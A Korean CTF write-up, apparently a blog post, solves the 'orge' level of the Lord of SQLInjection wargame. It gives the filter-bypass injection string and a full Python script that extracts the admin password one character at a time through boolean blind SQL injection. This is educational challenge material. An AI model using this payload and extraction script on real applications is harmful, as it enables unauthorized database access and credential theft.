Lord of SQLInjection (orge)

✏️ 풀이

해당 문제에선 darkelf 문제와 동일하게 진행하고, addslashes 함수를 이용해 pw 값에 대해서 필터링을 진행하고 pw 값이 admin의 pw 값이면 solve이다. 이 문제는 darkelf에서 Blind SQLi 만 추가해서 답을 알 수 있다.

image-20250423012326653


darkelf 문제에선 1' || id='admin' %26%26 1=1 -- - 로 or and 연산자를 || && 문자를 이용해 풀었었다. 이제 1=1 부분을 ascii(substr(pw,1,1))=65 처럼 바꿔서 파이썬 코드를 짜면 된다.

image-20250423012704562


파이썬 코드를 짤 때 주의할 점은 &&를 인코딩한 게 아닌 && 그대로 넣어서 blind sqli 자동화 코드를 짜면 된다.

import requests
from bs4 import BeautifulSoup

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookie = {"PHPSESSID": "3gkm2054bi501f689hd20e39cp"}
pw = ""

for i in range(1, 50):
    found = False
    for j in range(32, 128):
        param = {"pw": f"1' || id='admin' && ascii(substr(pw,{i},1))={j} -- -"}
        r = requests.get(url=url, cookies=cookie, params=param)
        html = r.text
        soup = BeautifulSoup(html, "html.parser")
        if "Hello admin" in soup.text:
            print(f"[+] Found! {i}번째 자리는 {chr(j)}입니다.")
            found = True
            pw += chr(j)
            print(f"현재까지 나온 pw: {pw}")
            break
    if not found:
        print(f"[-] 종료: {i}번째 자리를 찾지 못했습니다.")
        break

image-20250423015212981

image-20250423015243795

댓글남기기